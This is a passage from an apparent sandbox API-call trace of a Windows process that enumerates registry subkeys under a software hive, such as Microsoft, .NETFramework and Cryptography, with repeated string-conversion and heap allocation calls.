hKey=0xa0, dwIndex=0x3, lpName=0x30b930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.234] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x30b930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x30c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.234] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x5, lpName=0x30b930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.234] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x6, lpName=0x30b930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.234] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x30c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0035.234] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.234] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.234] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x26f79c | out: phkResult=0x26f79c*=0x24) returned 0x0 [0035.235] RegCloseKey (hKey=0xa0) returned 0x0 [0035.235] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x30b930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x30c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.235] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x30b930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x30c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.235] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x30b930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.235] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.235] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x30b930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0035.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x30c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.236] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x30b930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.236] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x30b930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x30c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.236] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.236] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x30b930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.236] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0035.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.237] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x30b930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x30c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.237] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x30b930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x30c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.237] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x30b930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x30c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.237] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.237] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x30b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0035.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.237] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x30c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.238] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x30b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x30c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.238] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x30b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x30c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.238] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x30b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x30c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.238] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.238] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x30b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0035.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.239] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x30b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x30c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.239] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x30b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.239] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x30c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0035.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.239] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.239] RtlFreeHeap (HeapHandle=0x300000, 